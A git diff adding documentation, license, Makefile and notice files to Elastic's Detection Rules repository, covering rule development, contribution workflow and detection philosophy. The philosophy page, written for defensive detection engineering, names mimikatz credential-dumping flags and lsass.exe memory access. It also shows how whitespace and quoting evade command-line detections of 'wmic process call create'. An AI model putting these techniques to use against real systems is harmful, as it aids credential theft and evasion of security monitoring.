--rule-id TEXT + -o, --outfile FILE Name of file for exported rules + -r, --replace-id Replace rule IDs with new IDs before export + --stack-version [7.8|7.9|7.10|7.11|7.12] + Downgrade a rule version to be compatible + with older instances of Kibana + -s, --skip-unsupported If `--stack-version` is passed, skip rule + types which are unsupported (an error will + be raised otherwise) + -h, --help Show this message and exit. +``` + +_*To load a custom rule, the proper index must be setup first. The simplest way to do this is to click +the `Load prebuilt detection rules and timeline templates` button on the `detections` page in the Kibana security app._ + + +## Converting between JSON and TOML + +[Importing rules](#importing-rules-into-the-repo) will convert from any supported format to toml. Additionally, the +command `view-rule` will also allow you to view a converted rule without importing it by specifying the `--rule-format` flag. + +To view a rule in JSON format, you can also use the `view-rule` command with the `--api-format` flag, which is the default. +(See the [note](#a-note-on-version-handling) on the JSON formatted rules and versioning) + + +## A note on version handling + +The rule toml files exist slightly different than they do in their final state as a JSON file in Kibana. The files are +white space stripped, normalized, sorted, and indented, prior to their json conversion. Everything within the `metadata` +table is also stripped out, as this is meant to be used only in the context of this repository and not in Kibana.. + +Additionally, the `version` of the rule is added to the file prior to exporting it. This is done to restrict version bumps +to occur intentionally right before we create a release. Versions are auto-incremented based on detected changes in +rules. This is based on the hash of the rule in the following format: +* sorted json +* serialized +* b64 encoded +* sha256 hash + +As a result, all cases where rules are shown or converted to JSON are not just simple conversions from TOML. + +## Debugging + +Most of the CLI errors will print a concise, user friendly error. To enable debug mode and see full error stacktraces, +you can define `"debug": true` in your config file, or run `python -m detection-rules -d `. + +Precedence goes to the flag over the config file, so if debug is enabled in your config and you run +`python -m detection-rules --no-debug`, debugging will be disabled. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..0ed9b897a --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,282 @@ +# Contributing to Detection Rules + +Thank you for your interest in contributing to Detection Rules. We've crafted this document to make it simple and easy for you to contribute. We recommend that you read these contribution guidelines carefully so that you spend less time working on GitHub issues and PRs and can be more productive contributing to this repository. + +If you want to be rewarded for your contributions, sign up for the [Elastic Contributor Program](https://www.elastic.co/community/contributor). Each time you make a valid contribution, you’ll earn points that increase your chances of winning prizes and being recognized as a top contributor. + +These guidelines will also help you post meaningful issues that will be more easily understood, considered, and resolved. These guidelines are here to help you whether you are creating a new rule, opening an issue to report a false positive, or requesting a feature. + +## Table of Contents + +- [Effective issue creation in Detection Rules](#effective-issue-creation-in-detection-rules) + - [Why we create issues before contributing code or new rules](#why-we-create-issues-before-contributing-code-or-new-rules) + - [What a good issue looks like](#what-a-good-issue-looks-like) + - ["My issue isn’t getting enough attention"](#my-issue-isnt-getting-enough-attention) + - ["I want to help!"](#i-want-to-help) +- [How we use Git and GitHub](#how-we-use-git-and-github) + - [Forking](#forking) + - [Branching](#branching) + - [Commit messages](#commit-messages) + - [What goes into a Pull Request](#what-goes-into-a-pull-request) +- [Our approach to detection engineering](#our-approach-to-detection-engineering) + - [Rule metadata](#rule-metadata) + - [Using Elastic Common Schema (ECS)](#using-elastic-common-schema-ecs) + - [Creating a rule with the CLI](#creating-a-rule-with-the-cli) + - [Testing a rule with the CLI](#testing-a-rule-with-the-cli) +- [Writing style](#writing-style) +- [Signing the contributor license agreement](#signing-the-contributor-license-agreement) +- [Submitting a Pull Request](#submitting-a-pull-request) + - [What to expect from a code review](#what-to-expect-from-a-code-review) + - [How we handle merges](#how-we-handle-merges) + + +## Effective issue creation in Detection Rules + +### Why we create issues before contributing code or new rules + +We generally create issues in GitHub before contributing code or new rules. This helps front-load the conversation before the rules. There are many rules that will make sense in one or two environments, but don't work as well in general. Some rules are overfitted to a particular indicator or tool. By creating an issue first, it creates an opportunity to bounce our ideas off each other to see what's feasible and what ways to approach detection. + +By contrast, starting with a pull request makes it more difficult to revisit the approach. Many PRs are treated as mostly done and shouldn't need much work to get merged. Nobody wants to receive PR feedback that says "start over" or "closing: won't merge." That's discouraging to everyone, and we can avoid those situations if we have the discussion together earlier in the development process. It might be a mental switch for you to start the discussion earlier, but it makes us all more productive and and our rules more effective. + + +### What a good issue looks like + +We have a few types of issue templates to [choose from](https://github.com/elastic/detection-rules/issues/new/choose). If you don't find a template that matches or simply want to ask a question, create a blank issue and add the appropriate labels. + +* **Bug report**: Create a report to help us improve (not pertaining to rules) +* **Feature request**: Suggest an idea for this project (not pertaining to rules) +* **New rule**: Suggestions and ideas for new rules for the Detection Engine +* **Rule deprecation**: Recommend deprecating a rule that doesn't work or isn't useful anymore +* **Tune existing rule**: Suggest changes to make to an existing rule to address false positives or negatives + +When requesting a **New rule**, please create an issue of the **New rule** type. The issue contains a handful of questions about the targeted behavior and the approach to detection: + +* What are the matching MITRE ATT&CK® technique and tactics? +* What data sources are needed? +* Does a detection need fields that aren't listed in Elastic Common Schema (ECS) yet? +* Is the technique behavior-based, or is it based on indicators of compromise? + +### "My issue isn't getting enough attention" + +First of all, **sorry about that!** We want you to have a great time with Detection Rules. + +We'll tag issues and pull requests with the target release if applicable. If a rule is blocked by a feature, we'll add a label to reflect that. With all of the issues, we need to prioritize according to impact and difficulty, so some issues can be neglected while we work on more pressing issues. + +Of course, feel free to bump your issues if you think they've been neglected for a prolonged period. + +Issues and pull requests will be marked as `stale` after 60 days of inactivity. After 7 more days of incactivity, they will be closed automatically. + +If an issue or pull request is marked `stale` and/or closed, this does not mean it is not important, just that there may be more work than available resources over a given time. We feel that it is a better experience to generate activity responding to a stale issue or letting it close, than to let something remain open and neglected for longer periods of time. + +If your issue or pull request is closed from inactivity and you feel this is an error, please feel free to re-open it with comments and we will try our best to respond with justification to close or to get it the proper attention. + +### "I want to help!" + +**Now we're talking**. If you have a bug fix or new rule that you would like to contribute to Detection Rules, please **find or open an issue about it before you start working on it.** Talk about what you would like to do. It may be that somebody is already working on it, or that there are particular issues that you should know about before implementing the change. + +We get asked from time-to-time if there are any rules that the community can help with, absolutely! Check out the rules with the ["help wanted" label](https://github.com/elastic/detection-rules/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22+). Don't feel like these are your only options, any issue is up for grabs by the community, but these are rules that are good ideas and we would love to have some additional hands on. + +We enjoy working with contributors to get their code accepted. There are many approaches to fixing a problem and it is important to find the best approach before writing too much code. + + +## How we use Git and GitHub + +### Forking + +We follow the [GitHub forking model](https://help.github.com/articles/fork-a-repo/) for collaborating on Detection Rules rules. This model assumes that you have a remote called `upstream` which points to the official Detection Rules repo, which we'll refer to in later code snippets. + +### Branching + +This repository follows a similar approach to other repositories within the [Elastic](https://github.com/elastic) organization, with a few exceptions that make our life easier. One way this repository is simpler is the lack of major version breaking changes. This means we have less backport commits to worry about and makes us a little more productive. + +**7.13 and later** + +The branching workflow we currently follow for Detection Rules: + +* All changes for the next release of rules are made to the `main` branch +* During feature freeze for a release, we will create a branch from `main` for the release version `{majorVersion.minorVersion}`. This means that we can continue contributing to `main`, even during feature freeze, and it will target `{majorVersion.minorVersion+1}` +* Rules are automatically backported to old branches (starting at `7.13`) if the `backport: auto` label is set on GitHub. This is done automatically for all PRs that merge to main `main` with the label `backport: auto`. +* To opt-out of a backport, add the label `backport: skip`. GitHub will automatically remove the `backport: auto` label from the PR when this label is set +* As of 7.13, you can use Fleet to [update prebuilt rules](https://www.elastic.co/guide/en/security/current/rules-ui-management.html#download-prebuilt-rules) for your stack +* Changes to rules in an already-released branch will be included in an update to the "Prebuilt Security Detection Rules" integration + +**Prior to 7.13** + +The branching workflow we used to follow for Detection Rules: + +* All changes for the next release of rules are made to the `main` branch +* During feature freeze for a release, we will create a branch from `main` for the release version `{majorVersion.minorVersion}`. This means that we can continue contributing to `main`, even during feature freeze, and it will just target `{majorVersion.minorVersion+1}` +* For bug fixes and other changes targeting the pending release during feature freeze, we will make those contributions to `{majorVersion.minorVersion}`. Periodically, we will then backport those changes from `{majorVersion.minorVersion}` to `main` + +### Commit messages + +* Feel free to make as many commits as you want, while working on a branch. +* Please use your commit messages to include helpful information on your changes. Commit messages that look like `update` are unhelpful to reviewers. Try to be clear and concise with the changes in a commit. For example: `Add Sysmon support to MsBuild network rule`. Here's a [good blog](https://chris.beams.io/posts/git-commit/) on general best practices for commit messages. + + +### What goes into a Pull Request + +* Please include an explanation of your changes in your PR description. +* Links to relevant issues, external resources, or related PRs are very important and useful. +* Please try to explain *how* and *why* your rule works. Can you explain what makes the logic sound? Does it actually detect what it's supposed to? If you include the screenshot, please make sure to crop out any sensitive information! +* Please try to capture the expectations for noise levels: is the rule prone to false positives or false negatives? +* See [Submitting a Pull Request](#submitting-a-pull-request) for more info. + + +## Our approach to detection engineering + +Contributions to Detection Rules are ultimately integrated with the Detection Engine within the Security Application of Kibana. The rules in this repository[*](#maturity-note) will be bundled in the next release and available to all users with access to the Detection Engine. For that reason, we want to keep the bar high and avoid rules that lead to high volumes of false-positives (FPs) or have significant performance impact on a cluster. You can use *Exceptions* in the Detection Engine to add allowlist exceptions when a rule generates an FP. That gives some tolerance of FPs, but we still want to keep numbers as low as we can. + +For more information on our approach to writing threat-based detection logic, please read our [philosophy](PHILOSOPHY.md) page. + +\* Note: Specifically, rules that contain `maturity = "production"` will be included in the next stack release. + + +### Rule metadata + +Detection logic in itself is not enough to be useful to practitioners. Rules need to contain more information, like a name, description, and severity levels within the metadata. Try to be thorough with the metadata you provide for a rule. Some of the information is required for a rule to run, other information is provided to the user enabling the rule, and some information is also invaluable context to users that triage the alerts generated by a rule. + +Some of the required metadata captured in a rule file: + +| field | required | description | +| -------------------- | -------- | ------------------------------------------------------------------------------- | +| **description** | ✓ | Brief one-two sentence description for what the rule detects | +| **enabled** | | Default status of the rule, automatically enabled if `true` | +| **false_positives** | | Array of markdown strings for guidance on triaging false positives | +| **filters** | | Array of query DSL filters to `and` with the query | +| **from** | | Relative start time for a rule (e.g. `now-6m`) | +| **index** | | List of index patterns that stores the needed events | +| **interval** | | Interval between executions of the rule | +| **language** | ✓ | Query language for language-based rules (e.g. `kuery`, `lucene`, `eql`) | +| **max_signals** | ✓ | Cutoff for the maximum number of signals in an execution before dropped results | +| **name** | ✓ | A short title for the rule | +| **note** | | Additional triage notes or details on the rule beyond `description` | +| **query** | ✓ | The query language code for rules of type `query` | +| **risk_score** | | Integer to rank the risk relative to other rules. Leave blank if unknown | +| **rule_id** | ✓ | Automatically generated UUID for the rule | +| **severity** | ✓ | Severity of the matching results (e.g., `low`, `medium`, `high`, `critical`) | +| **tags** | | Array of tags for grouping the rule (e.g., `APM`, `Linux`, `Packetbeat`, ...) | +| **threat** | ✓ | Mapping to a threat framework, such as MITRE ATT&CK® | +| **to** | | Relative end time of a rule (e.g. `now`) | +| **type** | ✓ | Execution type of the rule (`query` or `machine_learning`) | + + +### Using Elastic Common Schema (ECS) + +Our rules should be written generically when possible. We use [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html) to standardize data before ingesting into Elasticsearch. ECS gives a set of field sets, field names and categories to standardize events across various tools. By writing rules using ECS fields and values, you can reuse the same logic regardless of data source. ECS is an ongoing effort, and we may encounter fields that aren't present yet. If you need to make any requests to ECS, see the [elastic/ecs](https://github.com/elastic/ecs) GitHub repository. + +If the relevant [categorization values](https://www.elastic.co/guide/en/ecs/current/ecs-category-field-values-reference.html) are already defined for ECS, we use these to narrow down the event type before adding the query. Typically, the query starts with the broadest grouping possible and gets narrower for each clause. For example, we might write `event.category:process and event.type:start and process.name:net.exe and process.args:group`. First, we match process events with `event.category`, then narrow to creation events with `event.type`. Of the process creation events, we're looking for the process `net.exe` with `process.name` and finally we check the arguments `group` by looking at `process.args`. This flow has little effect on the generated Elasticsearch query, but is the most intuitive to read for rule developers. + +Sometimes, it might not make sense for ECS to standardize a field, value, or category. Occasionally, we may encounter fields that specific to a single use-case or vendor. When that happens, we add an exception in [etc/non-ecs-schema.json](etc/non-ecs-schema.json). We automatically detect beats by looking at the index patterns used in a rule. If we see `winlogbeat-*`, for example, then we can validate the rule against ECS + Winlogbeat. When using a particular beat, please use `event.module` and `event.dataset` to make the rule more precise and to better nudge the validation logic. Similar to our logic flow for ECS categorization, we recommend searches progress from `event.module` → `event.dataset` → `event.action` → ``. + +When a Pull Request is missing a necessary ECS change, please add an issue to [elastic/ecs](https://github.com/elastic/ecs) and link it from the pull request. We don't want to leave PRs blocked for too long, so if the ECS issue isn't progressing, then we can add a note and use the vendor- or beat-specific fields. We'll create another issue, reminding us to update the rule logic to switch to the ECS field when it becomes available. To maximize compatibility, we may add an `or` clause for a release or two to handle the different permutatations. After a few releases, we'll remove this and strictly require the ECS fields. + +### Creating a rule with the CLI + +We manage our repository with a command line tool that automatically creates TOML files, validates rules, and bundles all rules for the Detection Engine. There's a lot of metadata for each rule, and manually copying and pasting rule files is error prone and tedious. To create a new rule, run the command below, which iterates through the required metadata, and prompts for each field. + + +For example, to create a new rule file for `rules/windows/defense_evasion_msbuild_child.toml`, run the command + +```console +$ python -m detection_rules create-rule rules/windows/defense_evasion_msbuild_child.toml +``` + + +The command will prompt you for each required field in the metadata +``` +Rule type (machine_learning, query, saved_id): query +actions (multi, comma separated): +description (required): Look for child processes of MsBuild +enabled [false] ("n/a" to leave blank): +from [now-6m] ("n/a" to leave blank): +false_positives (multi, comma separated): +filters (multi, comma separated): +interval [5m] ("n/a" to leave blank): +exceptions_list (multi, comma separated): +max_signals [100] ("n/a" to leave blank): +meta: +name (required): Suspicious Child of MsBuild +note: +references (multi, comma separated): +risk_score [21] ("n/a" to leave blank) (required): +rule_id [90d0c543-e197-46d8-934d-0320b2c83486] ("n/a" to leave blank) (required): +severity [low] ("n/a" to leave blank) (required): medium +tags (multi, comma separated): Windows +throttle: +timeline_id: +timeline_title: +to [now] ("n/a" to leave blank): +threat (multi, comma separated): +index (multi, comma separated): winlogbeat-* +language [kuery] ("n/a" to leave blank) (required): kuery +query (required): event.category:process and process.parent.name:msbuild.exe +ecs_version (multi, comma separated): 1.4.0 +``` + +Pending no errors, you'll see this output upon success +``` +Rule Suspicious Child of MsBuild saved to rules/windows/defense_evasion_msbuild_child.toml +Did not set the following values because they are un-required when set to the default value + - from + - interval + - max_signals + - to +``` + + +### Testing a rule with the CLI + +When a rule is ready, it can be tested with unit tests. Detection Rules has several tests that run locally to validate rules in the repository. These tests make sure that rules are syntactically correct, use ECS or Beats schemas correctly, and ensure that metadata is also validated. There are also internal tests to make sure that the tools and functions to manager the repository are working as expected. + +To run tests, simply run the command `test` with the CLI +```console +$ python -m detection_rules test + +============================================================= test session starts ============================================================== +collected 73 items + +tests/test_all_rules.py::TestValidRules::test_all_rule_files PASSED [ 1%] +tests/test_all_rules.py::TestValidRules::test_all_rule_queries_optimized PASSED [ 2%] +tests/test_all_rules.py::TestValidRules::test_all_rules_as_rule_schema PASSED [ 4%] +tests/test_all_rules.py::TestValidRules::test_all_rules_tuned PASSED [ 5%] +... +tests/kuery/test_parser.py::ParserTests::test_number_exists PASSED [ 98%] +tests/kuery/test_parser.py::ParserTests::test_number_wildcard_fail PASSED [100%] + +========================================================================== 73 passed in 45.47s ========================================================================== +``` + + +## Writing style + +Our rules are much more than queries. We capture a lot of metadata within the rules, such as severity, index pattterns, and noise level. We also have several fields that are user-readable text, such as `name`, `description`, `false_positives`, `investigation_notes`, and `name`. Those fields, which are populated with English text[*](#i18n-note), should follow the [Elastic UI writing guidelines](https://elastic.github.io/eui/#/guidelines/writing). We want our text to be *clear* and *concise*, *consistent* and *conversational*. + +\* Note: We currently don't have i18n support for Detection Rules. + + +## Signing the contributor license agreement + +Please make sure you've signed the [Contributor License Agreement](http://www.elastic.co/contributor-agreement/). We're not asking you to assign copyright to us, but to give us the right to distribute your code without restriction. We ask this of all contributors in order to assure our users of the origin and continuing existence of the code. You only need to sign the CLA once. + + +## Submitting a Pull Request + +Push your local changes to your forked copy of the repository and submit a Pull Request. In the Pull Request, describe what your changes do and mention the number of the issue where discussion has taken place, e.g., "Closes #123". + +Always submit your pull against `main` unless you are making changes for the pending release during feature freeze (see [Branching](#branching) for our branching strategy). + +Then sit back and wait. We will probably have a discussion in the pull request and may request changes before merging. We're not trying to get in the way, but want to work with you to get your contributions in Detection Rules. + + +### What to expect from a code review + +After a pull is submitted, it needs to get to review. If you have commit permissions on the Detection Rules repo you will probably perform these steps while submitting your Pull Request. If not, a member of the Elastic organization will do them for you, though you can help by suggesting a reviewer for your changes if you've interacted with someone while working on the issue. + +Most likely, we will want to have a conversation in the pull request. We want to encourage contributions, but we also want to keep in mind how changes may affect other Elastic users. Please understand that even if a rule is working in your environment, it still may not be a good fit for all users of Elastic Security. + +### How we handle merges + +We recognize that Git commit messages are a history of all changes to the repository. We want to make this history easy to read and as concise and clear as possible. When we merge a pull request, we squash commits using GitHub's "Squash and Merge" method of merging. This keeps a clear history to the repository, since we rarely need to know about the commits that happen *within* a working branch for a pull request. + +The exception to this rule is backport PRs. We want to maintain that commit history, because the commits within a release branch have already been squashed. If we were to squash again to a single commit, we would just see a commit "Backport changes from `{majorVersion.minorVersion}`" show up in main. This would obscure the changes. For backport pull requests, we will either "Create a Merge Commit" or "Rebase and Merge." For more information, see [Branching](#branching) for our branching strategy. diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 000000000..809108b85 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,93 @@ +Elastic License 2.0 + +URL: https://www.elastic.co/licensing/elastic-license + +## Acceptance + +By using the software, you agree to all of the terms and conditions below. + +## Copyright License + +The licensor grants you a non-exclusive, royalty-free, worldwide, +non-sublicensable, non-transferable license to use, copy, distribute, make +available, and prepare derivative works of the software, in each case subject to +the limitations and conditions below. + +## Limitations + +You may not provide the software to third parties as a hosted or managed +service, where the service provides users with access to any substantial set of +the features or functionality of the software. + +You may not move, change, disable, or circumvent the license key functionality +in the software, and you may not remove or obscure any functionality in the +software that is protected by the license key. + +You may not alter, remove, or obscure any licensing, copyright, or other notices +of the licensor in the software. Any use of the licensor’s trademarks is subject +to applicable law. + +## Patents + +The licensor grants you a license, under any patent claims the licensor can +license, or becomes able to license, to make, have made, use, sell, offer for +sale, import and have imported the software, in each case subject to the +limitations and conditions in this license. This license does not cover any +patent claims that you cause to be infringed by modifications or additions to +the software. If you or your company make any written claim that the software +infringes or contributes to infringement of any patent, your patent license for +the software granted under these terms ends immediately. If your company makes +such a claim, your patent license ends immediately for work on behalf of your +company. + +## Notices + +You must ensure that anyone who gets a copy of any part of the software from you +also gets a copy of these terms. + +If you modify the software, you must include in any modified copies of the +software prominent notices stating that you have modified the software. + +## No Other Rights + +These terms do not imply any licenses other than those expressly granted in +these terms. + +## Termination + +If you use the software in violation of these terms, such use is not licensed, +and your licenses will automatically terminate. If the licensor provides you +with a notice of your violation, and you cease all violation of this license no +later than 30 days after you receive that notice, your licenses will be +reinstated retroactively. However, if you violate these terms after such +reinstatement, any additional violation of these terms will cause your licenses +to terminate automatically and permanently. + +## No Liability + +*As far as the law allows, the software comes as is, without any warranty or +condition, and the licensor will not be liable to you for any damages arising +out of these terms or the use or nature of the software, under any kind of +legal claim.* + +## Definitions + +The **licensor** is the entity offering these terms, and the **software** is the +software the licensor makes available under these terms, including any portion +of it. + +**you** refers to the individual or entity agreeing to these terms. + +**your company** is any legal entity, sole proprietorship, or other kind of +organization that you work for, plus all organizations that have control over, +are under the control of, or are under common control with that +organization. **control** means ownership of substantially all the assets of an +entity, or the power to direct its management and policies by vote, contract, or +otherwise. Control can be direct or indirect. + +**your licenses** are all the licenses granted to you for the software under +these terms. + +**use** means anything you do with the software requiring one of your licenses. + +**trademark** means trademarks, service marks, and similar rights. diff --git a/Makefile b/Makefile new file mode 100644 index 000000000..426b7038e --- /dev/null +++ b/Makefile @@ -0,0 +1,59 @@ +################# +### detection-rules +################# + +VENV := ./env/detection-rules-build +VENV_BIN := $(VENV)/bin +PYTHON := $(VENV_BIN)/python +PIP := $(VENV_BIN)/python -m pip + + +.PHONY: all +all: release + + +$(VENV): + pip install virtualenv + virtualenv $(VENV) --python=python3.8 + $(PIP) install -r requirements.txt + $(PIP) install setuptools -U + + +.PHONY: clean +clean: + rm -rf $(VENV) *.egg-info .eggs .egg htmlcov build dist packages .build .tmp .tox __pycache__ + +.PHONY: deps +deps: $(VENV) + $(PIP) install -r requirements.txt + + +.PHONY: pytest +pytest: $(VENV) deps + $(PYTHON) -m detection_rules test + +.PHONY: license-check +license-check: $(VENV) deps + @echo "LICENSE CHECK" + $(PYTHON) -m detection_rules dev license-check + +.PHONY: lint +lint: $(VENV) deps + @echo "LINTING" + $(PYTHON) -m flake8 tests detection_rules --ignore D203 --max-line-length 120 + +.PHONY: test +test: $(VENV) lint pytest + +.PHONY: release +release: deps + @echo "RELEASE: $(app_name)" + $(PYTHON) -m detection_rules dev build-release --generate-navigator + rm -rf dist + mkdir dist + cp -r releases/*/*.zip dist/ + +.PHONY: kibana-commit +kibana-commit: deps + @echo "PREP KIBANA-COMMIT: $(app_name)" + $(PYTHON) -m detection_rules dev kibana-commit diff --git a/NOTICE.txt b/NOTICE.txt new file mode 100644 index 000000000..5d025cda2 --- /dev/null +++ b/NOTICE.txt @@ -0,0 +1,62 @@ +Detection Rules +Copyright 2021 Elasticsearch B.V. + +--- +This product bundles rules based on https://github.com/BlueTeamLabs/sentinel-attack +which is available under a "MIT" license. The rules based on this license are: + +- "Potential Evasion via Filter Manager" (06dceabf-adca-48af-ac79-ffdf4c3b1e9a) +- "Process Discovery via Tasklist" (cc16f774-59f9-462d-8b98-d27ccd4519ec) +- "Potential Modification of Accessibility Binaries" (7405ddf1-6c8e-41ce-818f-48bea6bcaed8) +- "Potential Application Shimming via Sdbinst" (fd4a992d-6130-4802-9ff8-829b89ae801f) +- "Trusted Developer Application Usage" (9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae1) + +MIT License + +Copyright (c) 2019 Edoardo Gerosa, Olaf Hartong + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +--- +This product bundles rules based on https://github.com/FSecureLABS/leonidas +which is available under a "MIT" license. The rules based on this license are: + +- "AWS Access Secret in Secrets Manager" (a00681e3-9ed6-447c-ab2c-be648821c622) + +MIT License + +Copyright (c) 2020 F-Secure LABS + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/PHILOSOPHY.md b/PHILOSOPHY.md new file mode 100644 index 000000000..123d60e35 --- /dev/null +++ b/PHILOSOPHY.md @@ -0,0 +1,65 @@ +# Philosophy + +Rule development can be hotly debated and there are many ideas for what makes a detection rule *good*. We hear about arguments between *Indicators of Compromise* vs. *Indicators of Attack* and *signatures* vs. *rules*. Instead of boring ourselves with those re-hashed discussions, we want to share our approach for rule writing and our expectations of this repository. + + +## Approach + +Our goal is to improve detection within Elastic Security, while combating alert fatigue. When we create a rule, we often approach it from this perspective. To make sure a rule is a complete and a good candidate for Detection Rules, consider asking these questions: + +* Does this rule improve our detection or visibility? +* Does it strike a good balance between true positives, false positives, and false negatives? +* How difficult is it for an attacker to evade the rule? +* Is the rule written with [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/ecs-reference.html) in mind? Is the logic data source-agnostic or does it depend on specific beats or agents? + +### Behavioral rules + +Based on our approach, we tend to prefer rules that are more *behavioral* in nature. Behavioral rules are rules that focus on the attacker technique, and less on a specific tool or indicator. This might mean more research and effort is needed to figure out how a technique works. By taking this approach, we do a better job detecting and stopping the attacks of today and tomorrow, instead of the attacks of yesterday. + +### Signatures and indicators + +Even though we gravitate towards behavioral or technique-based rules, we don't want to automatically disqualify a rule just because it uses indicators of a specific actor or tool. Though those are typically more brittle, they tend to have less noise, because they are specifically written to detect exactly one thing. Sometimes tools are used across multiple actors or red teams, and a signature could go a long way. + +One example would be a detection for the common open source tool [mimikatz](http://github.com/gentilkiwi/mimikatz), which is used by many red teams and in real world incidents. It dumps credentials by requesting read access to the `lsass.exe` process and decrypts passwords from memory. This technique is often too low-level for some tools. One way to detect it would be to look for special flags in the command line or inside the file itself, such as `sekurlsa::logonpasswords` or `sekurlsa::wdigest`. Those indicator-based detections are less effective these days, because `mimikatz` mostly runs in memory, so there's no command line or even a file to observe. + +A better approach is to focus on the technique: remotely reading memory for `lsass.exe`. Defenders now have tools and solutions that can detect a process requesting memory access to `lsass.exe` and block or defend the behavior natively. One tool, Microsoft Sysmon, has Event ID 10: [ProcessAccess](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-10-processaccess) which can detect the access request to `lsass.exe`. From there, the logic needs to tune out legitimate software that requests access or tune out specific flags from the process access request. Then, you get a detection that doesn't just find `mimikatz`, but can also detect other tools like ProcDump.exe requesting memory access to `lsass.exe`. + + +## Review questions + +There are a few ways that we strive to improve our detection rates and performance when writing rules. We ask a handful of questions while developing or reviewing rules. When contributing, consider this questionnaire: + +### Does the rule detect what it's supposed to? + +This probably seems like an obvious question, but is a crucial and regular part of any review for a new rule. Sometimes we work backwards from a specific indicator to a general rule. But when we get there, how do we know that we're detecting other instances of the technique? + +Another good reason for asking this question: others may have experience with this type of data. Someone else may be aware of false positives which original author didn't anticipate. + +Maybe you're looking for suspicious privilege escalation on Windows by looking for services that spawn with `cmd /c ...` in the command line. This is behavior metasploit does when calling `getsystem`. You might write a rule like this: `process.parent.name: services.exe and process.child.name: cmd.exe`, and it would detect what you expected. But what *else* did it detect? There are [failure actions](https://docs.microsoft.com/en-us/windows/win32/api/winsvc/ns-winsvc-service_failure_actionsw) for services that can run arbitrary commands when a service fails. + +Knowing this, there are a few good options to take: +* Try switching to registry events to look for the `binPath` key +* Look for Windows Event Logs for [Event ID 4697](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4697) to detect service creations +* Leave the logic in there. Maybe you're more worried about failure actions also being used maliciously and don't want to risk the false negatives by making the rule more precise + +Regardless of the approach you took, document any caveats in the rule's description, false positive notes, or investigation notes. This information helps users to both understand what the rule is trying to detect and will also give good information when triaging an alert. + + +### Does a rule have trivial evasions? + +We don't want our rules to be trivial to evade. When looking for evasions in a rule, try putting on the hat of the adversary and ask yourself: *How could I perform this action while going undetected by this rule?* + +One way that we've seen evasions before is when matching the command line for process events. Those rules can be trivial to evade. For instance, consider the command `wmic process call create whoami.exe`. + +If you search for the substring `process call create`, then all an attacker has to do is add a few more spaces: `process  call   create`. Voilà! Undetected. + +Maybe the next iteration of the rule tried to avoid whitespace evasions and then opted for `* process *` and `* call *` and `* create *`. But the rule is still easy to evade by quoting the individual args with the command `wmic "process" "call" "create" "whoami.exe"`. + +The **ideal** way to write the rule would be to use a parsed command line and not rely on wildcards or regular expressions. Thankfully, [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/index.html) has the [`process.args`](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#_process_field_details) field which contains exactly this. Then the KQL for the rule is simple: `process.args:(process and call and create)`. + + +## Resources + +- [MITRE ATT&CK®](https://attack.mitre.org) +- [MITRE ATT&CK philosophy](https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf) +- [Finding Cyber Threats with ATT&CK-Based Analytics](https://www.mitre.org/publications/technical-papers/finding-cyber-threats-with-attck-based-analytics) diff --git a/README.md b/README.md new file mode 100644 index 000000000..a5a8e1068 --- /dev/null +++ b/README.md @@ -0,0 +1,103 @@ +[![Supported Python versions](https://img.shields.io/badge/python-3.8+-yellow.svg)](https://www.python.org/downloads/) +[![Unit Tests](https://github.com/elastic/detection-rules/workflows/Unit%20Tests/badge.svg)](https://github.com/elastic/detection-rules/actions) +[![Chat](https://img.shields.io/badge/chat-%23security--detection--rules-blueviolet)](https://ela.st/slack) +[![ATT&CK navigator coverage](https://img.shields.io/badge/ATT&CK-Navigator-red.svg)](https://ela.st/detection-rules-navigator) + +# Detection Rules + +Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine. + +This repository was first announced on Elastic's blog post, [Elastic Security opens public detection rules 